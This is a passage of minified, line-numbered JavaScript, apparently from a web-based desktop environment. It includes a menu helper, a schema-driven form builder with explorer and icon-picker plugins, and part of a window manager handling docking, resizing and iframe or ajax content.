5010 p >= A.top + 3 && p <= A.bottom - 3 && s.setAttribute("points", m + "," + p + " " + f + "," + _ + " " + y + "," + L)
5011 }
5012
5013 function n(e, t, i, n, o, s, a) {
5014 A = e.getBoundingClientRect(), d = e, e.appendChild(r), c = m = t, l = p = i, f = n, _ = o, y = s, L = a
5015 }
5016
5017 function o(e) {
5018 s.setAttribute("points", "0,0 0,0 0,0"), setTimeout(function() {
5019 "fromTriangle" === e && u(document.elementFromPoint(h, b), "mouseover")
5020 }, 1)
5021 }
5022 var r = document.createElementNS("http://www.w3.org/2000/svg", "svg"),
5023 s = document.createElementNS("http://www.w3.org/2000/svg", "polygon");
5024 s.setAttribute("points", "0,0 0,0 0,0"), s.setAttribute("fill", "transparent"), s.style.cssText = "pointer-events:auto;", r.style.cssText = "pointer-events:none;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;height:100%;z-index:1", r.appendChild(s), document.body.appendChild(r), document.addEventListener("mousemove", function(e) {
5025 h = c = m = e.pageX, b = l = p = e.pageY, i()
5026 });
5027 var a, c, l;
5028 s.onmousemove = function(i) {
5029 t(i.pageX, i.pageY) ? e() : o("fromTriangle"), setTimeout(function() {
5030 c = i.pageX, l = i.pageY
5031 }, 1)
5032 };
5033 var d, m, p, f, _, y, L, A = {};
5034 v = n, g = o
5035}();
5036var A = {
5037 mode: "popup",
5038 icons: "auto",
5039 recursive: !1,
5040 hide: !1,
5041 solo: !0,
5042 aim: !0,
5043 display: !0,
5044 closeOthers: !0,
5045 trigger: "mouseover",
5046 onclose: null,
5047 position: {
5048 within: window
5049 }
5050};
5051c.config = function(e) {
5052 $extend(A, e)
5053}, c.extend = function(e, t) {
5054 var i = $extend([], e);
5055 return $io.obj.all(t, function(e, t) {
5056 t.replace(/^((after|before|replace|delete|extend):)?(([\d.]+)|(.*))/, function(t, n, o, r, s, a) {
5057 function u(e, t) {
5058 var i;
5059 return $io.arr.each(t, function(n, o) {
5060 return n.name === e ? (i = {
5061 arr: t,
5062 pos: o
5063 }, !1) : (n.items && (i = u(e, n.items)), !i && void 0)
5064 }), i
5065 }
5066 if (s) {
5067 var c = s.split("."),
5068 l = +c.pop(),
5069 d = i;
5070 $io.arr.all(c, function(e) {
5071 var t = +e;
5072 d = d[t].items ? d[t].items : d[t]
5073 })
5074 } else if (a) var m = u(a, i),
5075 d = m.arr,
5076 l = m.pos;
5077 o && "before" !== o ? "after" === o ? $io.arr.insert(d, e, l + 1) : "extend" === o ? d[l] = $extend({}, d[l], e[0]) : "replace" === o ? d[l] = e[0] : "delete" === o && d.splice(l, 1) : $io.arr.insert(d, e, l)
5078 })
5079 }), i
5080}, e.$menu = c
5081}(window);
5082//js/ui/form.js
5083! function(e) {
5084function t(e, t) {
5085 if (e)
5086 for (var n = e.split(/\s+/), i = 0, a = n.length; i < a; i++) t(n[i])
5087}
5088
5089function n(e) {
5090 $extend(this, e)
5091}
5092
5093function i(e, a, r, l, d) {
5094 function u() {
5095 for (var e, t = C.querySelectorAll("[name]"), n = [], i = 0, a = 0, r = t.length; a < r; a++) {
5096 for (var o = t[a], l = -1, d = null, u = o.parentNode; u && 1 == u.nodeType;) u.classList.contains("ui_form__array__item") && (d || (d = u), l++), u = u.parentNode;
5097 if (l > -1) {
5098 void 0 === n[l] && (n[l] = -1), e !== d && (i < l ? n[l] = 0 : n[l]++);
5099 var c = 0,
5100 s = o.name.replace(/(\.?)(\d+)(?![^.\s])/g, function(e, t, i) {
5101 return t + n[c++]
5102 });
5103 o.name = s, o.id = "ui_form__" + s, e = d, i = l
5104 } else n.length = 0
5105 }
5106 }
5107
5108 function y(e) {
5109 for (var t = [], n = 0, i = A.children.length; n < i; n++) A.children[n].classList.contains("ui_form__array__item") && t.push(A.children[n]);
5110 if (e) var a, r;
5111 for (a = 0, r = t.length; a < r; a++) {
5112 var o = "ui_form_temp" + a + (Math.random() + "").slice(2);
5113 t[a].id = o, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_up").disabled = 0 === a, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_down").disabled = a === r - 1, t[a].id = ""
5114 }
5115 u()
5116 }
5117
5118 function g(e, t, n) {
5119 var i = b.cloneNode();
5120 i.className = "ui_form__array_btn ui_form__btn_" + t, i.innerHTML = o.default[t], i.onclick = n, e.appendChild(i)
5121 }
5122
5123 function N(t) {
5124 var n = document.createElement("div");
5125 n.className = "ui_toolbar ui_form__array__item";
5126 var r = i(e, a.items, "", l + "." + q++, t);
5127 n.appendChild(r.fragment);
5128 var o = document.createElement("div");
5129 return o.className = "ui_form__array__btns", g(o, "remove", function() {
5130 n.remove(), y()
5131 }), g(o, "up", function() {
5132 A.insertBefore(n, n.previousSibling), y()
5133 }), g(o, "down", function() {
5134 A.insertBefore(n, n.nextSibling.nextSibling), y()
5135 }), n.appendChild(o), A.appendChild(n), y(!0), r
5136 }
5137
5138 function $(e, t, n) {
5139 return e = o[t][n].call(a, e, $extend({}, a[t][n]))
5140 }
5141 var C = e.el,
5142 j = document.createDocumentFragment();
5143 if (!a) return {
5144 fragment: j
5145 };
5146 if ("object" === a.type) {
5147 E = c.cloneNode(!0);
5148 (x = s.cloneNode(!0)).className = "ui_form__tab ui_form__object", x.id = "ui_form__tab_" + e.id + "_" + v++;
5149 e.fields[l + "{}"] = F = new n({
5150 type: "object",
5151 path: l,
5152 fields: {},
5153 div: x
5154 }), (a.title || r) && (E.textContent = a.title || r, x.appendChild(E));
5155 k = p.cloneNode(!0);
5156 if (t(a.className, function(e) {
5157 k.classList.add(e), x.classList.add("ui_form__object--" + e.replace(/ui_form[-_]*/, ""))
5158 }), a.description && ((S = document.createElement("div")).className = "ui_form__description", S.innerHTML = a.description, x.appendChild(S)), $io.obj.each(a.properties, function(t, n) {
5159 var a = i(e, t, n, l ? l + "." + n : n, d && d.hasOwnProperty(n) ? d[n] : null);
5160 F.fields[n] = a, k.appendChild(a.fragment)
5161 }), x.appendChild(k), a.help) {
5162 var w = document.createElement("div");
5163 w.className = "ui_form__help", w.innerHTML = a.help, x.appendChild(w)
5164 }
5165 $io.obj.all(a.plugin, function(e, t) {
5166 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5167 }), j.appendChild(F.div)
5168 } else if ("array" === a.type) {
5169 var E = c.cloneNode(!0),
5170 x = s.cloneNode(!0),
5171 A = x;
5172 x.className = "ui_form__tab ui_form__array", x.id = "ui_form__tab_" + e.id + "_" + v++;
5173 e.fields[l + "[]"] = F = new n({
5174 type: "array",
5175 path: l,
5176 div: x,
5177 addItem: N,
5178 reorder: u,
5179 setValue: function(e, t) {
5180 $io.arr.all(document.querySelectorAll("#" + x.id + " .ui_form__array__item"), function(e) {
5181 e.remove()
5182 }), q = 0, O = e.length;
5183 for (var n = []; q < O;) {
5184 var i = N(e[q]);
5185 n.push(i), t(e[q - 1], i)
5186 }
5187 return n
5188 }
5189 }), t(a.className, function(e) {
5190 x.classList.add(e)
5191 }), E.innerHTML = (a.title || r) + " ";
5192 var L = b.cloneNode(!0);
5193 L.className = "ui_form__array_btn ui_form__btn_add", L.innerHTML = o.default.add, L.onclick = function() {
5194 N()
5195 }, E.appendChild(L);
5196 var M = m.cloneNode();
5197 M.name = l, M.value = l, M.setAttribute("data-is-array", !0), E.appendChild(M), x.appendChild(E), d || (d = []);
5198 for (var q = 0, O = d.length; q < O;) N(d[q]);
5199 $io.obj.all(a.plugin, function(e, t) {
5200 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5201 }), j.appendChild(F.div)
5202 } else {
5203 if ("string" !== a.type && "boolean" !== a.type && "number" !== a.type && "integer" !== a.type) throw new Error("$form: unknown schema type : " + a.type);
5204 var T, k = p.cloneNode(),
5205 H = f.cloneNode();
5206 if (k.className = "ui_form__field", t(a.className, function(e) {
5207 k.classList.add(e)
5208 }), o.format[a.format] ? T = o.format[a.format].call(a) : a.enum ? (T = h.cloneNode(), $io.arr.all(a.enum, function(e) {
5209 Array.isArray(e) ? T.options[T.options.length] = new Option(e[0], e[1]) : T.options[T.options.length] = new Option(e, e)
5210 })) : "textarea" === a.format ? T = _.cloneNode() : (T = m.cloneNode(), "string" === a.type && (T.type = "text"), "number" !== a.type && "integer" !== a.type || (T.type = "number")), "boolean" === a.type) {
5211 T.type = "checkbox", "boolean" == typeof d ? T.checked = d : a.default && (T.checked = a.default);
5212 document.createElement("span")
5213 } else null !== d && void 0 !== d ? T.value = d : a.default && (T.value = a.default);
5214 if (a.placeholder && (T.placeholder = a.placeholder), !0 !== a.ignore && (T.name = l), T.id = "ui_form__" + l, H.setAttribute("for", "ui_form__" + l), H.innerHTML = a.title || r, (!0 === e.cfg.disabled || !0 === a.disabled || !0 === a.createOnly && !1 === e.cfg.create) && (T.disabled = !0), a.pattern && T.setAttribute("pattern", a.pattern), a.attributes && $io.obj.all(a.attributes, function(e, t) {
5215 "required" === t && a.required, "function" == typeof e ? T[t] = e : T.setAttribute(t, e)
5216 }), !0 === a.required && (H.innerHTML = H.innerHTML + ' <span title="required" class="ui_form__required">*</span>', T.required = !0), a.description) {
5217 var S = document.createElement("div");
5218 S.className = "ui_form__description", S.innerHTML = a.description
5219 }
5220 var F;
5221 e.fields[l] = F = new n({
5222 type: a.type,
5223 path: l,
5224 div: k,
5225 input: T,
5226 actionZone: T,
5227 label: H,
5228 getValue: function() {
5229 return this.input.value
5230 },
5231 setValue: function(e) {
5232 this.input.value = e
5233 },
5234 setFocus: function() {
5235 this.input.focus()
5236 },
5237 onFocus: function(e) {
5238 this.input.onfocus = e
5239 },
5240 onBlur: function(e) {
5241 this.input.onblur = e
5242 },
5243 onModif: function(e) {
5244 this.input.oninput = this.input.onkeyup = this.input.onchange = e
5245 }
5246 }), o.type[a.type] && "function" == typeof o.type[a.type] && $(F, "type", a.type), a.plugin = a.plugin || [], a.format && o.plugin[a.format] && (a.plugin[a.format] = !0), $io.obj.all(a.plugin, function(e, t) {
5247 o.plugin[t] && $(F, "plugin", t)
5248 }), "boolean" === a.type ? (F.div.appendChild(F.actionZone), F.div.appendChild(F.label), S && F.div.appendChild(S)) : (F.div.appendChild(F.label), S && F.div.appendChild(S), F.div.appendChild(F.actionZone)), a.hidden && F.div.classList.add("hide"), j.appendChild(F.div)
5249 }
5250 return Object.defineProperty(F, "fragment", {
5251 get: function() {
5252 return delete F.fragment, j
5253 },
5254 configurable: !0
5255 }), F
5256}
5257
5258function a(e, t) {
5259 var t = {},
5260 n = typeof e;
5261 return y.indexOf(n) > -1 ? t.type = n : Array.isArray(e) ? (t.type = "array", t.items = a(e[0])) : $io.isObject(e) && (t.type = "object", t.properties = {}, $io.obj.all(e, function(e, n) {
5262 t.properties[n] = a(e)
5263 })), t
5264}
5265
5266function r(e) {
5267 return e.properties && $io.obj.all(e.properties, function(t, n) {
5268 "object" === t.type && (t = r(t)), e.required && e.required.indexOf(n) > -1 && (t.required = !0)
5269 }), e
5270}
5271
5272function o(e, t) {
5273 return "FORM" == e.nodeName ? o.data(e) : o.build(e, t)
5274}
5275
5276function l(e) {
5277 var t = e.getAttribute("data-form-id");
5278 if (t && o.instances[t]) {
5279 var n = o.instances[t].fields;
5280 for (var i in n) n.hasOwnProperty(i) && n[i].save && n[i].save()
5281 }
5282}
5283var d = 0,
5284 u = document.createElement("form"),
5285 c = document.createElement("legend"),
5286 s = document.createElement("div"),
5287 p = document.createElement("div"),
5288 f = document.createElement("label"),
5289 m = document.createElement("input"),
5290 _ = document.createElement("textarea"),
5291 h = document.createElement("select"),
5292 b = (document.createElement("option"), document.createElement("button"));
5293b.setAttribute("type", "button"), _.setAttribute("rows", 4), s.className = "ui_form__tab", u.className = "ui_form";
5294var v = 0,
5295 y = "string number boolean null".split(" ");
5296o.instances = {}, o.build = function(e, t) {
5297 v = 0;
5298 var n = $extend({}, t),
5299 l = d++,
5300 c = u.cloneNode(),
5301 s = "ui_form_" + l;
5302 c.id = s, c.setAttribute("data-form-id", l), e.schema || (e.schema = a(e), e.data = e), e.schema.type ? e.schema = $extend({}, e.schema) : e.schema = {
5303 type: "object",
5304 properties: $extend({}, e.schema)
5305 }, e.schema = r(e.schema);
5306 var p, f = o.instances[l] = {
5307 id: l,
5308 el: c,
5309 cfg: n,
5310 schema: e.schema,
5311 data: e.data,
5312 fields: {},
5313 destroy: function() {
5314 this.el.remove(), delete o.instances[l]
5315 }
5316 };
5317 p = e.data ? i(f, e.schema, "", "", $extend({}, e.data)).fragment : i(f, e.schema, "", "").fragment;
5318 var m = document.createElement("button");
5319 return m.type = "submit", m.style.display = "none", p.appendChild(m), c.appendChild(p), f
5320}, o.onvalidate = function(e, t) {
5321 console.log(e, t)
5322}, o.validate = function(e) {
5323 l(e);
5324 var t = !0,
5325 n = "FORM" === e.tagName ? e.elements : e.length ? e : [e];
5326 return $io.arr.each(n, function(e, n) {
5327 e.validity.valid || (t = !1, o.onvalidate(e.validationMessage, e), 0 === n && (e.select(), e.focus()))
5328 }), t
5329}, o.data = function(e) {
5330 l(e);
5331 var t, n, i = {};
5332 return $io.arr.all(e.elements, function(e) {
5333 if ("" !== e.name && !e.disabled)
5334 if ("checkbox" === e.type) $io.obj.path(i, e.name, !!e.checked);
5335 else if ("number" === e.type) $io.obj.path(i, e.name, parseInt(e.value));
5336 else if ("select-multiple" === e.type) {
5337 for (t = [], n = e.options.length - 1; n >= 0; n -= 1) e.options[n].selected && t.push(e.options[n].value);
5338 $io.obj.path(i, e.name, t)
5339 } else e.getAttribute("data-is-array") ? $io.obj.path(i, e.name, []) : $io.obj.path(i, e.name, e.value)
5340 }), i
5341}, o.update = function(e, t) {
5342 console.warn("WARNING - TODO $form.update() with array"), t ? $io.obj.all(t, function(t, n) {
5343 e[n] && (e[n].value = t)
5344 }) : $io.arr.all(e.elements, function(e) {
5345 e.value = ""
5346 })
5347}, o.disable = function(e) {
5348 $io.arr.all(e.elements, function(e) {
5349 e.disabled && (e.wasDisbled = !0), e.disabled = !0
5350 })
5351}, o.enable = function(e) {
5352 $io.arr.all(e.elements, function(e) {
5353 e.wasDisbled || (e.disabled = !1)
5354 })
5355}, o.plugin = {}, o.format = {}, o.type = {}, o.default = {
5356 add: "+",
5357 remove: "-",
5358 up: "up",
5359 down: "down"
5360}, e.$form = o
5361}(this);
5362//os/ui/form.plugins.js
5363! function(e) {
5364"use strict";
5365$form.plugin.explorer = function(e, t) {
5366 var n = document.createElement("div");
5367 return e.btn = document.createElement("button"), e.btn.innerHTML = '<img height=16 width=16 src="' + le._path.skin + 'places/16/folder-open.png">', n.className = "ui_form_combo w100", n.appendChild(e.actionZone), n.appendChild(e.btn), e.actionZone = n, e.btn.onclick = function(n) {
5368 n.preventDefault(), setTimeout(function() {
5369 $explorer($extend({
5370 path: "/",
5371 browse: !0,
5372 onclose: function(t, n) {
5373 t && (e.input.value = n, $el(e.input).trigger("change"))
5374 }
5375 }, t))
5376 }, 0)
5377 }, e
5378}, $form.plugin.icon = function(e, t) {
5379 function n() {
5380 i.style.backgroundImage = "url(" + e.input.value + ")"
5381 }
5382 document.createElement("div");
5383 var i = document.createElement("button");
5384 return i.type = "button", i.className = "block left mr10 h50p w50p", i.style.backgroundRepeat = "no-repeat", i.style.backgroundPosition = "center", i.style.backgroundSize = "32px 32px", e.input.value || (e.input.value = "/c/sys/skins/w93/shortcut.png"), e.input.value = $fs.utils.normalizeIcon(e.input.value), n(), i.onclick = function(i) {
5385 i.preventDefault(), setTimeout(function() {
5386 $explorer($extend({
5387 path: "/c/files/images/icons/",
5388 accept: "image/*",
5389 browse: !0,
5390 onclose: function(t, i) {
5391 t && (e.input.value = i, n())
5392 }
5393 }, t))
5394 }, 0)
5395 }, setTimeout(function() {
5396 var o = e.input.form;
5397 t && t.watch && o[t.watch] && (o[t.watch].addEventListener("change", function(t) {
5398 if ("/c/sys/skins/w93/shortcut.png" === e.input.value) {
5399 var i, o = (this.value || "").split(" ")[0];
5400 (i = le._apps[o] && le._apps[o].icon ? le._apps[o].icon : $fs.utils.getIcon(this.value)) && "/c/sys/skins/w93/file.png" !== i && (e.input.value = i, n())
5401 }
5402 }, !1), $el(o[t.watch]).trigger("change")), o.insertBefore(i, o.firstChild)
5403 }, 0), e.div.classList.add("hide"), e
5404}
5405}();
5406//js/ui/window.js
5407! function(e) {
5408"use strict";
5409
5410function t(e) {
5411 function o(e) {
5412 e.preventDefault(), be.show(A, {
5413 at: "left+10 bottom+10",
5414 of: e,
5415 within: B.dest
5416 })
5417 }
5418
5419 function a(e) {
5420 e.preventDefault(), be.show(A, { of: this,
5421 within: B.dest
5422 })
5423 }
5424
5425 function y() {
5426 var e = B.baseWidth ? B.baseWidth : I.offsetWidth,
5427 t = B.baseHeight ? B.baseHeight : I.offsetHeight,
5428 i = !1,
5429 n = !1;
5430 if (e > q && (e = q, i = !0), t > D && (t = D, n = !0), I.style.height = t + "px", I.style.width = e + "px", R.classList.add("ui_window__body--flex"), R.removeAttribute("style"), !0 === B.minHeight ? I.style.minHeight = I.style.height : B.minHeight && (I.style.minHeight = "auto" == B.minHeight ? "auto" : B.minHeight + "px"), !0 === B.minWidth ? I.style.minWidth = I.style.width : B.minWidth && (I.style.minWidth = "auto" == B.minWidth ? "auto" : B.minWidth + "px"), B.center) B.top = ~~((D - t) / 2) + "px", B.left = ~~((q - e) / 2) + "px";
5431 else {
5432 if (B.top) B.noOut && B.top > D - t && (B.maxTop = !0, B.top = D - t + "px", I.style.top = B.top);
5433 else {
5434 var o = ~~(Math.random() * (D - t));
5435 B.top = o + "px"
5436 }
5437 if (B.left) B.noOut && B.left > q - e && (B.maxLeft = !0, B.left = q - e + "px", I.style.left = B.left);
5438 else {
5439 var a = ~~(Math.random() * (q - e));
5440 B.left = a + "px"
5441 }
5442 }
5443 "-4000px" === I.style.top && (I.style.top = n ? 0 : B.top), "-4000px" === I.style.left && (I.style.left = i ? 0 : B.left)
5444 }
5445
5446 function g(e) {
5447 this.classList.contains("ui_window_docked--minimized") ? (O(), I.classList.contains("ui_window--active") || t.active(Z)) : I.classList.contains("ui_window--active") ? (B.minimizable && W(), I.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 10) : t.active(Z)
5448 }
5449
5450 function x(e) {
5451 e.preventDefault(), be.show(A, {
5452 at: "left+10 bottom+10",
5453 of: e,
5454 within: B.dest
5455 })
5456 }
5457
5458 function L(e) {
5459 fe = !0, !1 !== B.onok.call(A, fe) && M(e)
5460 }
5461
5462 function z(e) {
5463 !1 !== B.oncancel.call(A, fe) && M(e)
5464 }
5465
5466 function k() {
5467 t.active(Z)
5468 }
5469
5470 function C() {
5471 re && (re.removeEventListener("click", g, !1), re.removeEventListener("contextmenu", x, !1), re && re.parentNode && re.parentNode.removeChild(re)), J && (J.removeEventListener("click", a, !1), J.removeEventListener("dblclick", M, !1), J.removeEventListener("contextmenu", a, !1)), B.contextmenuOnBody && R.removeEventListener("contextmenu", o, !1), B.header && j.removeEventListener("contextmenu", o, !1), B.btnCancel && se.removeEventListener("click", M, !1), B.btnOk && ce.removeEventListener("click", L, !1), ve && ve.parentNode && ve.parentNode.removeChild(ve), ve = null, B.resizable && K && $el(K).off("dblclick doubletap", H), B.maximizable && !K && $el(R).off("dblclick doubletap", H), B.draggable && oe.destroy(), B.resizable && ae.destroy(), ee && ee.destroy(), be && be.destroy(), I.removeEventListener("click", k, !1), I && I.parentNode && I.parentNode.removeChild(I);
5472 var e = $maxZ(".ui_window").el;
5473 e && t.active(1 * e.getAttribute("data-window-id")), B.ondestroy.call(A, e), s[Z] = null
5474 }
5475
5476 function E() {
5477 if (B.animationOut) {
5478 for (var e = !1, t = 0, i = I.classList.length; t < i; t++) I.classList[t] && 0 === I.classList[t].indexOf("fx_") && (e = !0);
5479 e ? C() : (I.classList.add("animated"), $animate(I, B.animationOut, function(e) {
5480 I.classList.remove("animated"), C()
5481 }))
5482 } else C()
5483 }
5484
5485 function $() {
5486 fe && B.onsubmit && !1 === B.onsubmit.call(A, fe, $form.data(he), he) ? fe = !1 : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5487 E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he)
5488 }) : (E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he))
5489 }
5490
5491 function N(e) {
5492 !0 === e && (fe = !0), he ? $() : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5493 E(), B.onclose && B.onclose.call(A, fe)
5494 }) : (E(), B.onclose && B.onclose.call(A, fe))
5495 }
5496
5497 function T() {
5498 y(), setTimeout(function() {
5499 if (y(), he = I.getElementsByTagName("form")[0]) {
5500 var e = he.querySelector("[autofocus]");
5501 e && e.focus(), he.onsubmit = function() {
5502 return fe = !0, $(), !1
5503 }, A.el.form = he
5504 } else pe ? pe.focus() : R.focus();
5505 B.onready.call(A, I, R)
5506 }, 1)
5507 }
5508
5509 function M(e) {
5510 e.stopPropagation(), e.stopImmediatePropagation(), N()
5511 }
5512
5513 function H(e) {
5514 e && (e.stopPropagation(), e.stopImmediatePropagation()), I.classList.contains("ui_window--maximized") ? (I.classList.remove("ui_window--maximized"), V && (V.classList.remove("ui_window__head__maximized"), V.classList.add("ui_window__head__maximize")), I.classList.add("untransition"), I.removeAttribute("style"), I.setAttribute("style", _e), setTimeout(function() {
5515 I.classList.remove("untransition"), B.onresize(!1)
5516 }, 500)) : (_e = I.getAttribute("style"), I.classList.add("ui_window--maximized"), V && (V.classList.add("ui_window__head__maximized"), V.classList.remove("ui_window__head__maximize")), setTimeout(function() {
5517 B.onresize(!0)
5518 }, 500))
5519 }
5520
5521 function W() {
5522 if (B.dockable) {
5523 var e = I.getBoundingClientRect();
5524 we = {
5525 t: e.top + "px",
5526 l: e.left + "px",
5527 h: I.offsetHeight + "px",
5528 w: I.offsetWidth + "px"
5529 }, ve.style.display = "block", ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w, ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, I.classList.add("ui_window--minimized");
5530 var t = re.getBoundingClientRect();
5531 ve.style.top = t.top + "px", ve.style.left = t.left + "px", ve.style.height = re.offsetHeight + "px", ve.style.width = re.offsetWidth + "px", setTimeout(function() {
5532 ve.style.display = "none", re.classList.add("ui_window_docked--minimized")
5533 }, 300)
5534 }
5535 }
5536
5537 function O() {
5538 ve.classList.remove("ui_window_transfer"), ve.style.display = "block", ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, ve.classList.add("ui_window_retransfer"), setTimeout(function() {
5539 ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w
5540 }, 50), setTimeout(function() {
5541 ve.style.display = "none", I.classList.remove("ui_window--minimized"), re.classList.remove("ui_window_docked--minimized")
5542 }, 300)
5543 }
5544 "string" == typeof e && (e = {
5545 title: e,
5546 url: e,
5547 ajax: !1,
5548 width: 400,
5549 height: 300
5550 });
5551 var A, B = $extend({}, l, e),
5552 I = c.cloneNode(!1),
5553 j = r.cloneNode(!1),
5554 P = u.cloneNode(!1),
5555 R = m.cloneNode(!1),
5556 S = f.cloneNode(!1),
5557 Z = d++,
5558 q = B.dest.offsetWidth,
5559 D = B.dest.offsetHeight;
5560 if (B.caller = $io.isWindow(this) ? null : this, B.caller && B.caller.that && B.caller.that.window && $extend(B, B.caller.that.window), e.contextmenu && (B.contextmenu = $extend({}, l.contextmenu, B.contextmenu)), I.id = "ui_window_" + Z, I.setAttribute("data-window-id", Z), B.style)
5561 for (var F in B.style) B.style.hasOwnProperty(F) && (I.style[F] = B.style[F]);
5562 if (B.baseClass) {
5563 var G = B.baseClass.split(" ");
5564 $io.arr.all(G, function(e) {
5565 I.classList.add(e)
5566 })
5567 }
5568 if (B.contextmenuOnBody && R.addEventListener("contextmenu", o, !1), B.header) {
5569 if (B.icon) {
5570 var J = p.cloneNode(!1);
5571 J.src = B.icon, J.addEventListener("click", a, !1), J.addEventListener("dblclick", M, !1), J.addEventListener("contextmenu", a, !1), j.appendChild(J)
5572 }
5573 var K = _.cloneNode(!1);
5574 if (K.textContent = B.title || "", I.setAttribute("aria-labelledby", "ui_window__title_" + Z), K.id = "ui_window__title_" + Z, j.appendChild(K), j.addEventListener("contextmenu", o, !1), B.headerBtn)
5575 for (var Q = B.headerBtn.length - 1; Q >= 0; Q--) ! function(e) {
5576 var t = e.init.call(B);
5577 t && (e.el = document.createElement("button"), e.el.className = (e.className || "ui_window__head__" + e.name) + ("string" == typeof t ? " " + t : ""), e.title && (e.el.title = e.title), e.el.onclick = function(t) {
5578 e.action.call(A, t)
5579 }, j.appendChild(e.el))
5580 }(B.headerBtn[Q]);
5581 if (B.minimizable && B.dock && B.dockable) {
5582 var U = w.cloneNode(!1);
5583 U.onclick = W, j.appendChild(U)
5584 }
5585 if (B.maximizable) {
5586 var V = b.cloneNode(!1);
5587 V.onclick = H, j.appendChild(V)
5588 }
5589 if (B.closable) {
5590 var X = v.cloneNode(!1);
5591 X.onclick = M, j.appendChild(X)
5592 }
5593 I.appendChild(j)
5594 }(B.menu || B.beforeMenu || B.afterMenu) && I.appendChild(P);
5595 var Y;
5596 B.beforeMenu && ("string" == typeof B.beforeMenu ? (Y = document.createElement("div")).innerHTML = B.beforeMenu : Y = B.beforeMenu, P.appendChild(Y));
5597 var ee;
5598 if (B.menu) {
5599 var te = document.createElement("div");
5600 P.appendChild(te), ee = $menu(te, B.menu, {
5601 keyTarget: R,
5602 thisArg: B.menuThisArg || R,
5603 mode: "bar",
5604 position: {
5605 within: B.dest
5606 }
5607 })
5608 }
5609 var ie;
5610 if (B.afterMenu && ("string" == typeof B.afterMenu ? (ie = document.createElement("div")).innerHTML = B.afterMenu : ie = B.afterMenu, P.appendChild(ie)), I.appendChild(R), B.footer) {
5611 var ne;
5612 "string" == typeof B.footer ? (ne = document.createElement("div")).innerHTML = B.footer : ne = B.footer, S.appendChild(ne)
5613 }
5614 if ((B.footer || B.btnOk || B.btnCancel) && I.appendChild(S), I.style.top = (B.top || -4e3) + "px", I.style.left = (B.left || -4e3) + "px", R.style.width = "auto" == B.width ? "auto" : 1 * B.width + B.borderTopWidth + B.borderBottomWidth + "px", R.style.height = "auto" == B.height ? "auto" : 1 * B.height + B.borderLeftWidth + B.borderRightWidth + "px", B.dest.appendChild(I), B.automaximize && I.classList.add("ui_window--maximized"), B.draggable) {
5615 (K || I).classList.add("ui_window--draggable");
5616 var oe = $drag(I, {
5617 constrain: B.constrain,
5618 handle: K || I,
5619 onstart: function() {
5620 t.active(Z), i(this)
5621 },
5622 ondrag: function(e, t, i) {
5623 B.ondrag.call(A, e, t, i)
5624 },
5625 onstop: function() {
5626 n(this), B.ondragstop.call(A, I, R)
5627 }
5628 })
5629 }
5630 if (B.resizable) var ae = $resize(I, {
5631 handles: "all",
5632 start: function(e) {
5633 t.active(Z), i(e)
5634 },
5635 stop: function(e) {
5636 n(e), B.onresize.call(A, I, R)
5637 }
5638 });
5639 if (B.bodyClass) {
5640 var le = B.bodyClass.split(" ");
5641 $io.arr.all(le, function(e) {
5642 R.classList.add(e)
5643 })
5644 }
5645 if ("random" == B.animationIn && (B.animationIn = $io.arr.random($animate.i)), "random" == B.animationOut && (B.animationOut = $io.arr.random($animate.o)), B.animationIn && (I.classList.add("animated"), $animate(I, B.animationIn, function(e) {
5646 I.classList.remove("animated")
5647 })), B.btnCancel || B.btnOk) {
5648 var de = document.createElement("div");
5649 de.className = "ui_window__buttons", S.appendChild(de)
5650 }
5651 var se;
5652 B.btnCancel && ((se = document.createElement("button")).innerHTML = B.btnCancel, se.className = "ui_window__cancel", de.appendChild(se));
5653 var ce;
5654 if (B.btnOk && ((ce = document.createElement("button")).innerHTML = B.btnOk, ce.setAttribute("autofocus", "autofocus"), ce.className = "ui_window__ok", de.appendChild(ce)), B.dock && B.dockable) {
5655 var re = document.createElement("button"),
5656 ue = document.createElement("img"),
5657 me = document.createElement("span");
5658 re.className = "ui_window_docked", re.id = "ui_window_docked_" + Z, ue.className = "ui_window_docked__icon", me.className = "ui_window_docked__text ui_elipsis", B.icon && (ue.src = B.icon, re.appendChild(ue)), B.title && (me.textContent = B.title, re.title = B.title, re.appendChild(me)), B.dock.appendChild(re), re.addEventListener("click", g, !1), re.addEventListener("contextmenu", x, !1)
5659 }
5660 var fe = !1;
5661 B.btnCancel && se.addEventListener("click", z, !1), B.btnOk && ce.addEventListener("click", L, !1), B.activable && I.addEventListener("click", k, !1), B.resizable && K && $el(K).on("dblclick doubletap", H), B.maximizable && !K && $el(R).on("dblclick doubletap", H);
5662 var he, pe;
5663 B.url && !B.ajax ? ((pe = h.cloneNode(!1)).onload = T, pe.onerror = T, pe.onabort = T, pe.src = 0 == B.url.indexOf("www") ? "http://" + B.url : B.url, R.appendChild(pe), R.classList.add("ui_window__body--with_iframe"), B.title || (B.title = B.url)) : B.url && B.ajax ? $ajax.get(B.url).done(function(e) {
5664 var t = document.createElement("div");
5665 t.innerHTML = e, R.appendChild(t), T()
5666 }).fail(function() {
5667 $alert.error("ajax error")
5668 }) : B.ajax ? T() : ("string" == typeof B.html ? R.innerHTML = B.html : 1 !== B.html.nodeType && 11 !== B.html.nodeType || R.appendChild(B.html), T()), A = t.current = s[Z] = {
5669 id: Z,
5670 cfg: B,
5671 el: {
5672 base: I,
5673 body: R,
5674 header: j,
5675 title: K,
5676 footer: S,
5677 iframe: pe,
5678 form: he,
5679 btnCancel: se,
5680 btnOk: ce,
5681 menu: P,
5682 menubar: te,
5683 beforeMenu: Y,
5684 afterMenu: ie
5685 },
5686 close: N,
5687 destroy: C,
5688 maximize: H,
5689 minimize: W,
5690 restore: O,
